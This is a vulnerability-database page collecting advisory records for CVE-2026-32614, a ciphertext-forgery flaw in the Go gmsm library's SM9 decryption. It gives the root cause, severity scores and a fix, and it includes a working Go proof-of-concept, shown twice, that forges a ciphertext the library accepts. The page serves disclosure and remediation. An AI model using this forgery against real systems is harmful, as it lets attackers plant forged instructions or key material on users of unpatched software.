Vulnerability-Lookup

CVE-2026-32614 (GCVE-0-2026-32614)

Vulnerability from cvelistv5 – Published: 2026-03-13 20:14 – Updated: 2026-03-16 20:12

Title

Go ShangMi SM9 Infinity-Point Ciphertext Forgery Vulnerability

Summary

Go ShangMi (Commercial Cryptography) Library (GMSM) is a cryptographic library that covers the Chinese commercial cryptographic public algorithms SM2/SM3/SM4/SM9/ZUC. Prior to 0.41.1, the current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity. In the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check. This vulnerability is fixed in 0.41.1.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-16 20:11 UTC

CWE

CWE-347 - Improper Verification of Cryptographic Signature

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7775 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/emmansun/gmsm/security/advisor…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
emmansun	gmsm	Affected: < 0.41.1	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-32614

Vulnerability from fkie_nvd - Published: 2026-03-16 14:19 - Updated: 2026-06-17 10:36

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/emmansun/gmsm/security/advisories/GHSA-5xxp-2vrj-x855

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
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      "affectedData": [
        {
          "product": "gmsm",
          "vendor": "emmansun",
          "versions": [
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GHSA-5XXP-2VRJ-X855

Vulnerability from github – Published: 2026-03-13 16:10 – Updated: 2026-03-16 16:37

Summary

SM9 Infinity-Point Ciphertext Forgery Vulnerability

Details

Overview

The current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.

In the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.

Impact

The direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.

The attacker does not need the master public key, the user's private key, or any other secret material.
The attacker only needs to know the target UID to construct a seemingly valid ciphertext.
When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.
The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.

This issue affects the following paths because they all eventually enter the same UnwrapKey logic:

sm9.Decrypt
sm9.DecryptASN1
sm9.UnwrapKey

This means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.

Severity

This vulnerability should be rated as High.

Using CVSS 3.1 as a reference, it can be characterized as follows:

Attack vector: Network
Attack complexity: Low
Privileges required: None
User interaction: None
Confidentiality impact: Low or None
Integrity impact: High
Availability impact: None

Overall, the estimated score falls in the High range, approximately 7.5.

It is High rather than Critical for the following reasons:

It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.
However, it can reliably break the authenticity and integrity assumptions of decrypted data.
In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.

Typical Risk Scenarios

An attacker forges a business message that can be successfully decrypted by the target user.
The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.
The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.

If a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.

Root Cause

The root cause is that the implementation does not fully enforce the standard's decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.

It is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.

The current code only checks:

Whether C1 can be successfully deserialized
Whether C1 is on the curve

But it is missing:

C1 != O (the point at infinity)

In other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.

Vulnerability recurrence

The overall process is as follows: 1. XOR the target plaintext with key[:len(plaintext)] to obtain C2. 2. Calculate C3 = SM3(C2 || key[len(plaintext):]), which involves concatenating C2 with the latter part of the key and then computing the SM3 hash. 3. Construct the ciphertext as ciphertext = C1 || C3 || C2, which means concatenating C1, C3, and C2 to form the final ciphertext. 4. Call sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts) for decryption. 7. Note that the PoC code did not use userKey when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.

package sm9_test

import (
    "bytes"
    "crypto/rand"
    "testing"

    "github.com/emmansun/gmsm/internal/sm9/bn256"
    "github.com/emmansun/gmsm/sm3"
    "github.com/emmansun/gmsm/sm9"
)

func TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {
    masterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)
    if err != nil {
        t.Fatal(err)
    }
    hid := byte(0x01)
    uid := []byte("victim@example.com")

    userKey, err := masterKey.GenerateUserKey(uid, hid)
    if err != nil {
        t.Fatal(err)
    }

    plaintext := []byte("forged-without-public-encryption")

    c1 := make([]byte, 64)
    gtIdentity := new(bn256.GT).SetOne()

    var kdfInput []byte
    kdfInput = append(kdfInput, c1...)
    kdfInput = append(kdfInput, gtIdentity.Marshal()...)
    kdfInput = append(kdfInput, uid...)

    key1Len := len(plaintext)
    forgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)

    c2 := make([]byte, key1Len)
    for i := range c2 {
        c2[i] = plaintext[i] ^ forgeKey[i]
    }

    hash := sm3.New()
    hash.Write(c2)
    hash.Write(forgeKey[key1Len:])
    c3 := hash.Sum(nil)

    forgedCiphertext := make([]byte, 0, 64+32+key1Len)
    forgedCiphertext = append(forgedCiphertext, c1...)
    forgedCiphertext = append(forgedCiphertext, c3...)
    forgedCiphertext = append(forgedCiphertext, c2...)

    recovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)
    if err != nil {
        t.Fatalf("public Decrypt rejected forged ciphertext: %v", err)
    }

    if !bytes.Equal(recovered, plaintext) {
        t.Fatalf("plaintext mismatch: got %q, want %q", string(recovered), string(plaintext))
    }

    t.Logf("VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q", string(recovered))
}

Output: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered="forged-without-public-encryption"

Remediation

In the shared UnwrapKey path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after Unmarshal and IsOnCurve succeed.

Conceptually:

if p.IsInfinity() {
    return nil, ErrDecryption
}

After the fix, unit tests should be added to ensure that:

An all-zero C1 is rejected
The raw ciphertext path rejects the forged input
The ASN.1 ciphertext path rejects the forged input
UnwrapKey also rejects the forged input

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/emmansun/gmsm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.41.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T16:10:12Z",
    "nvd_published_at": "2026-03-16T14:19:39Z",
    "severity": "CRITICAL"
  },
  "details": "## Overview\n\nThe current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.\n\nIn the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user\u0027s UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.\n\n## Impact\n\nThe direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.\n\n- The attacker does not need the master public key, the user\u0027s private key, or any other secret material.\n- The attacker only needs to know the target UID to construct a seemingly valid ciphertext.\n- When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.\n- The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.\n\nThis issue affects the following paths because they all eventually enter the same `UnwrapKey` logic:\n\n- `sm9.Decrypt`\n- `sm9.DecryptASN1`\n- `sm9.UnwrapKey`\n\nThis means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.\n\n## Severity\n\nThis vulnerability should be rated as High.\n\nUsing CVSS 3.1 as a reference, it can be characterized as follows:\n\n- Attack vector: Network\n- Attack complexity: Low\n- Privileges required: None\n- User interaction: None\n- Confidentiality impact: Low or None\n- Integrity impact: High\n- Availability impact: None\n\nOverall, the estimated score falls in the High range, approximately 7.5.\n\nIt is High rather than Critical for the following reasons:\n\n- It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.\n- However, it can reliably break the authenticity and integrity assumptions of decrypted data.\n- In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.\n\n## Typical Risk Scenarios\n\n- An attacker forges a business message that can be successfully decrypted by the target user.\n- The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.\n- The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.\n\nIf a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.\n\n## Root Cause\n\nThe root cause is that the implementation does not fully enforce the standard\u0027s decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.\n\nIt is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.\n\nThe current code only checks:\n\n- Whether C1 can be successfully deserialized\n- Whether C1 is on the curve\n\nBut it is missing:\n\n- `C1 != O` (the point at infinity)\n\nIn other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.\n\n## Vulnerability recurrence\n\nThe overall process is as follows:\n1. XOR the target plaintext with `key[:len(plaintext)]` to obtain `C2`.\n2. Calculate `C3 = SM3(C2 || key[len(plaintext):])`, which involves concatenating `C2` with the latter part of the key and then computing the SM3 hash.\n3. Construct the ciphertext as `ciphertext = C1 || C3 || C2`, which means concatenating `C1`, `C3`, and `C2` to form the final ciphertext.\n4. Call `sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts)` for decryption.\n7. Note that the PoC code did not use `userKey` when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.\n\n```go\npackage sm9_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/emmansun/gmsm/internal/sm9/bn256\"\n\t\"github.com/emmansun/gmsm/sm3\"\n\t\"github.com/emmansun/gmsm/sm9\"\n)\n\nfunc TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {\n\tmasterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\thid := byte(0x01)\n\tuid := []byte(\"victim@example.com\")\n\n\tuserKey, err := masterKey.GenerateUserKey(uid, hid)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"forged-without-public-encryption\")\n\n\tc1 := make([]byte, 64)\n\tgtIdentity := new(bn256.GT).SetOne()\n\n\tvar kdfInput []byte\n\tkdfInput = append(kdfInput, c1...)\n\tkdfInput = append(kdfInput, gtIdentity.Marshal()...)\n\tkdfInput = append(kdfInput, uid...)\n\n\tkey1Len := len(plaintext)\n\tforgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)\n\n\tc2 := make([]byte, key1Len)\n\tfor i := range c2 {\n\t\tc2[i] = plaintext[i] ^ forgeKey[i]\n\t}\n\n\thash := sm3.New()\n\thash.Write(c2)\n\thash.Write(forgeKey[key1Len:])\n\tc3 := hash.Sum(nil)\n\n\tforgedCiphertext := make([]byte, 0, 64+32+key1Len)\n\tforgedCiphertext = append(forgedCiphertext, c1...)\n\tforgedCiphertext = append(forgedCiphertext, c3...)\n\tforgedCiphertext = append(forgedCiphertext, c2...)\n\n\trecovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)\n\tif err != nil {\n\t\tt.Fatalf(\"public Decrypt rejected forged ciphertext: %v\", err)\n\t}\n\n\tif !bytes.Equal(recovered, plaintext) {\n\t\tt.Fatalf(\"plaintext mismatch: got %q, want %q\", string(recovered), string(plaintext))\n\t}\n\n\tt.Logf(\"VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q\", string(recovered))\n}\n```\n\n*Output*: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=\"forged-without-public-encryption\"\n\n\n## Remediation\n\nIn the shared `UnwrapKey` path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after `Unmarshal` and `IsOnCurve` succeed.\n\nConceptually:\n\n```go\nif p.IsInfinity() {\n    return nil, ErrDecryption\n}\n```\n\nAfter the fix, unit tests should be added to ensure that:\n\n- An all-zero C1 is rejected\n- The raw ciphertext path rejects the forged input\n- The ASN.1 ciphertext path rejects the forged input\n- `UnwrapKey` also rejects the forged input",
  "id": "GHSA-5xxp-2vrj-x855",
  "modified": "2026-03-16T16:37:09Z",
  "published": "2026-03-13T16:10:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/emmansun/gmsm/security/advisories/GHSA-5xxp-2vrj-x855"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32614"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/emmansun/gmsm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/emmansun/gmsm/releases/tag/v0.41.1"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4694"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SM9 Infinity-Point Ciphertext Forgery Vulnerability"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-32614 (GCVE-0-2026-32614)

FKIE_CVE-2026-32614

GHSA-5XXP-2VRJ-X855

Overview

Impact

Severity

Typical Risk Scenarios

Root Cause

Vulnerability recurrence

Remediation

Tags

Sightings

Nomenclature

Vulnerability timeline

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